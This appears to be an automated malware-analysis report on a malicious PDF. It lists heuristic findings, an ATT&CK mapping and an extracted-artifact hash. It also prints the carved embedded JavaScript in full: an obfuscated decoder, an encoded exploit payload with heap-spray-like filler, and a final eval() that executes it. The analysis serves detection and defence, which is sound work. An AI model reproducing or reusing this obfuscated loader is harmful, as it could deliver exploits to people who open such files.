MALICIOUS
166
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 PowerShell
The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. A high-severity PDF_EVAL heuristic firing suggests the use of eval(), a common technique for obfuscating malicious JavaScript. The embedded JavaScript is likely designed to download and execute a second-stage payload. The file's authoring application and creation date appear to be obfuscated or randomized.
Machine Learning
- Nyx PDF Classifier malicious score 1.0000
Heuristics 4
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JavaScript action low 2 related findings PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTERPDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.Matched line in script
4O44%(UC4O%(CWUI%(COCM%(zGC4%(s<hP%(sOs<%(MGWC%(hfMG%(shh8%(hzh8%(sOhs%(h4he%(hehW%(sCMz%(Mzh4%(sMhG%(MGhs%(hIh8%(MGhs%(hIh8%(MGhs%(hGhf%(h<h4%(sOMz%(sOhP%(h8WG%(WIh<%(WWW8\"n;\r\nrrw\r\nrrScZSrg2rRzd}q9LmxDbsv,s,cr==rMnt\r\nrrrrF}12p>P4QINsHZ{br=r(iSZAvqSR\"%(<W<W%(<W<W%(<W<W%(OGzU%(WWeU%(hhf8%(POU8%(POO4%(zGWW%(zM<W%(zUGC%(zPOe%(GGzf%(GGGG%(PUsG%(IG<z%(zGzG%(h<zG%(zWCG%(8Gh<%(<MGW%(8Gh<%(hzzs%(zGOW%(zGzU%(h<zG%(U8OW%(h4Ps%(z4C4%(OsOW%(zG44%(zGzG%(CChh%(U8zU%(ssPs%(he44%(Osz4%(zG4G%(zGzG%(CChh% … -
Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0007_000.js |
pdf-javascript-stream | PDF /JS object 7 at offset 0x23D | 8309 bytes |
SHA-256: 7eda2f389d55770843f86c9926fceeeaa7c9fd61dee37b4ed4d3f6e5f8337aae |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 1 eval/decoder/string-building token(s). 102 of 151 identifiers look randomly generated (e.g. 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmn') — consistent with name-mangling obfuscation.
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Preview scriptFirst 1,000 lines of the extracted script
function zcOs0W8on2y0efynyWCi(zcOs0W8on2y0efynyWCi,jjmrU6m11iqUxZKJXzx) {var vPc0kIR2ajBR=zcOs0W8on2y0efynyWCi. substr (jjmrU6m11iqUxZKJXzx, 1);return vPc0kIR2ajBR;}/*f65JuqmWqumaA|gP1AAGd1rl|kCrlUPH*/function lJBMU2X7kCjs(qeWiwQ6w4E2qiK) {/*KQB13XinA|nUe2Lf3S8uAj2kmjM6zT|AjO1cmZF*/var sjjUtk = new String("<>(){} .,ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789");/*Xt71mIXfbVPb5I[hsNdh]qhG5YihxoKLXH*//*AQafr|vIr4KOmYsJ4ZrBUFk|AOBFmIInZiIGU4PByZ*/var Dd4BE7kwiQR4z /*ax8ksXRur[UiRjkWLtezI]APX2e*/= new String("k)RntwrayCUfIzG7,VHX jD>bdx6uTF3Y19vNApS2}Eg0JcoiQqm{Zl(.LB5KO4MW<ehsP8");/*q3oHrmra99K|XePoD0BPkfEsjC76|cVlW9sDmaemaoTxJjbN*/for(LwzF1=0;LwzF1<sjjUtk.length;LwzF1++) {if(qeWiwQ6w4E2qiK == zcOs0W8on2y0efynyWCi(Dd4BE7kwiQR4z, LwzF1)) {/*dd98isilqeg[AHe00ic]CEqrYe176*/return zcOs0W8on2y0efynyWCi(sjjUtk, LwzF1);/*XZjXYH <AtwbP5]XZHO8kfBp*/}}return qeWiwQ6w4E2qiK;}/*tDqkBmqY[PvZX1]GnxWjFt8M8*//*xd8dprhVSi7869NsZkjv|NjDwoxv1vsoOqI3Y|OqNMoKM12lcbXJp*/var notJcW8y = new String;var gt7FVpaRSRJ = new String("\r\n.v{rpNfT(H3AJ3YpUW9gr=riSLrC{{v5Rn;\r\n.v{r00Xp<408JBlo.e,m;\r\n2(iAlgQir9uXvimfYDJU9oc, R.A51Ag}D2vONSdxXyr1o.Ep8G4Zx9Sf{4Ent\r\nrrLEgcSrR.A51Ag}D2vONSdxXacSi}lEr*rMrkr1o.Ep8G4Zx9Sf{4Ent\r\nrrrr.A51Ag}D2vONSdxXr+=r.A51Ag}D2vONSdxX;\r\nrrw\r\nrr.A51Ag}D2vONSdxXr=r.A51Ag}D2vONSdxXaZ(NZl{gi}ROyr1o.Ep8G4Zx9Sf{4Er/rMn;\r\nrr{Sl({ir.A51Ag}D2vONSdxX;\r\nw\r\n2(iAlgQirX5Gs}.uj3p5U<bF5Rzd}q9LmxDbsv,s,cnt\r\nrr.v{rG3{o6 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M.SB<W4oB,JacSi}lErkrOB<OOOnA.vC M.SB<W4oB,Jr+=rA.vC M.SB<W4oB,J;\r\nrrrrrrrrA.vC M.SB<W4oB,Jr=r\"Da\"r+rA.vC M.SB<W4oB,J;\r\nvqqapQAafQccvNa}SlVAQiRA.vC M.SB<W4oB,Jn;\r\nrrrrrrrrVz2(VHbD1Wj7f2Uhr=r4;\r\nrrrrrrw\r\nrrrrrrScZSrt\r\nrrrrrrrrVz2(VHbD1Wj7f2Uhr=r4;\r\nrrrrrrw\r\nrrrrw\r\nrrrrAvlAErRSnt\r\nrrrrrrVz2(VHbD1Wj7f2Uhr=r4;\r\nrrrrw\r\nrrrrg2rRVz2(VHbD1Wj7f2Uhr==r4nt\r\nrrrrrrg2rRR5D4JZdxcH.PD<g(7r)=rsa4&&r5D4JZdxcH.PD<g(7rkr8nnt\r\nrrrrrrrrX5Gs}.uj3p5U<bF5R4n;\r\nrrrrrrrr.v{rT646<S.}SS3Xv6CZr=r\"4M888888888888888888\";\r\nrrrrrrrr2Q{rRvJW0o5>JWdcQ>W1.r=rO;rvJW0o5>JWdcQ>W1.rkrMsh;rvJW0o5>JWdcQ>W1.r++rnt\r\nrrrrrrrrrrT646<S.}SS3Xv6CZr+=r\"P\";\r\nrrrrrrrrw\r\nrrrrrrrr(lgcaq{gil2R\"%<eOOO2\"yrT646<S.}SS3Xv6CZn;\r\nrrrrrrw\r\nrrrrw\r\nrrw\r\nw\r\nvqqa79>1IHzZ5cf1IjdNr=r FU.vFb}llTjePNY;\r\n00Xp<408JBlo.e,mr=rvqqaZSlugoS>(lR\"vqqa79>1IHzZ5cf1IjdNRn\"yr4On;\r\n");/*Mbl9Mcu5H8mP1A4GqISV{fMKGpmeyR}BsBA5ev0ltc*//*ldwsJ4BeMgrWmX8HLP|M8jN3E8upsNhU|TC0NDVakCwMavTlB*/for(AdoXoyudlAHPtQsGOg=0;AdoXoyudlAHPtQsGOg<gt7FVpaRSRJ.length;AdoXoyudlAHPtQsGOg++)notJcW8y += lJBMU2X7kCjs(zcOs0W8on2y0efynyWCi(gt7FVpaRSRJ,AdoXoyudlAHPtQsGOg));eval(notJcW8y);/*yAbC4fBpLt2sEjBGZP[vpuyc7O]RzQJoQkq*/
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